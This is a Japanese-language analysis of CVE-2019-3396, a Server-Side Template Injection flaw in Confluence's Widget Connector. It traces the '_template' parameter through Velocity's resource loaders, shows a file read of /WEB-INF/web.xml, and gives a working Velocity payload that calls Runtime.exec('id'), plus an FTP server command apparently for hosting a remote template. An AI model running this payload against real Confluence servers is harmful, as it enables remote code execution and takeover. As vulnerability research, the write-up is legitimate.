影響を受ける製品: Confluence Server & Data Center
影響を受けるバージョン: 6.0.0 から 6.15.4
深刻度: Critical (CVSS ~9.8)
原因:
Confluence には Widget Connector プラグイン(YouTube、Vimeo などの外部コンテンツやビデオを埋め込むために使用)があります。
この機能はユーザー入力を適切に検証しないため、Server-Side Template Injection (SSTI) が発生します。
攻撃者は悪意のあるペイロードを送信でき、Confluence が Velocity テンプレートエンジンでレンダリングし、サーバー上でコードを実行します。
https://www.atlassian.com/software/confluence/downloads/binary/atlassian-confluence-6.9.0.zip
https://nguyendt.hashnode.dev/confluence-cve-2019-3396




Widget Connector が言及されているため、Confluence のソースフォルダ内を検索してみます
com.atlassian.confluence.extra.widgetconnector.WidgetMacro.class に ブレークポイント を設定しますDefaultRenderManager.class クラスを呼び出します
getEmbeddedHtml() 関数を使用します
YoutubeRenderer クラスに入りますurl → ユーザーが入力した元の YouTube リンクparams → レンダリング設定パラメータ(例: 幅、高さ、レンダリングに使用するテンプレートなど)を含むマップ。
getEmbedUrl()、setDefaultParam()、DefaultVelocityRenderService.render() を呼び出しますsetDefaultParam() に注目します
_template がない場合は → デフォルトテンプレート youtube.vm を割り当てます。
=> プログラムに _template を自分で追加できます。
次に DefaultVelocityRenderService.render() に入ります
関数の目的
url + 各パラメータ params を受け取ります。
Velocity テンプレート (.vm) を使用して埋め込み HTML(iframe、embed など)にレンダリングします。
テンプレートの決定
params に _template がある場合 → そのテンプレートを使用します。
ない場合 → デフォルトの embed.vm を使用します。
MacroUtils.defaultVelocityContext() でデフォルトコンテキストを作成します。
params のすべてのパラメータをコンテキストに入れます:
key が tweetHtml の場合 → HTML をそのまま保持します。
それ以外の場合 → GeneralUtil.htmlEncode() で安全にエンコードします。
urlHtml、width、height をコンテキストに追加します(空の場合はデフォルトで 400 × 300 を割り当てます)。

VelocityUtils.getRenderedTemplate() を呼び出します
getRenderedTemplate と getRenderedTemplateWithoutSwallowingErrors() を呼び出します
getTemplate() を呼び出します
ここで templateName が上記の _template です。
その後、続けて VelocityEngine.Template() を呼び出します

VelocityEngine クラス内で、さらに RunimeInstance.getTemplate() を呼び出します
RuntimeInstance (Velocity core)
これは Velocity Engine の「心臓部」です。以下の役割を担います:
エンジンの初期化 (init)
設定、マクロ、パーサー、ディレクティブ、イベントハンドラーの管理…
そして特に: ResourceManager を介したリソース管理
→ つまり RuntimeInstance はリソースを直接ロードせず、resourceManager に委任します。
CompatibleVelocityResourceManager.getResource() を呼び出します
ConfigurableResourceManager (Confluence custom)
これは ResourceManager インターフェースの実装です。
以下の役割を担います:
リソースローダー(file loader、classpath loader、URL loader など)の管理。
globalCache の管理(resourceKey に基づくテンプレートのキャッシュ)。
RuntimeInstance から要求されたときにテンプレート(.vm ファイル)のロード/リフレッシュを実行します。

try {
this.refreshResource(resource, encoding);
} catch (ResourceNotFoundException var7) {
this.globalCache.remove(resourceKey);
return this.getResource(resourceName, resourceType, encoding);
}
リソースがキャッシュにある場合、すぐには返さず、refreshResource(...) を呼び出します。
refreshResource はディスク上の lastModified 時刻 とキャッシュ内のものを比較します。
ファイルが変更された場合 → キャッシュ内のリソースが無効化され → ディスクから再ロード → キャッシュが更新されます。
👉 したがって、resourceKey を手動で変更する必要はありません。リフレッシュ機構により、テンプレートが変更されるとキャッシュも確実に更新されます。
_template を追加してリクエストを再送信します

ResourceLoader インスタンス**(初期化済みオブジェクト)のリストを確認できます

FileResourceLoader と ClasspathResourceLoader のみに注目しますFileResourceLoader の場合パストラバーサルを防ぐために StringUtils.normalizePath() を呼び出します

normalizePath の内容は画像のとおりです
/WEB-INF/web.xml ファイルの読み取りを試みると、ファイルが正常にロードされたことがわかります。
/../ がブロックされているため、Confluence ディレクトリの外には出られません。ClasspathResourceLoader を確認します
ClassUtils.getResourceAsStream まで追跡します
/org/apache/catalina/loader/WebappClassLoaderBase.class の findResource() を呼び出します
super.findResource() を呼び出すと URL が返され、つまりオブジェクトを取得できます。

url.openStream() を呼び出します


実行するペイロード
#set ($exp="test")
#set ($runtime=$exp.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null))
#set ($process=$runtime.exec("id"))
#set ($input=$process.getInputStream())
#set ($sc=$exp.getClass().forName("java.util.Scanner"))
#set ($constructor=$sc.getDeclaredConstructor($input.getClass().forName("java.io.InputStream")))
#set ($scan=$constructor.newInstance($input).useDelimiter("\\A"))
#if ($scan.hasNext())
$scan.next()
#end
$runtime.exec("id") を呼び出して、Ubuntu 上で OS コマンド "id" を実行します。python3 -m pyftpdlib -p 2005

実行:
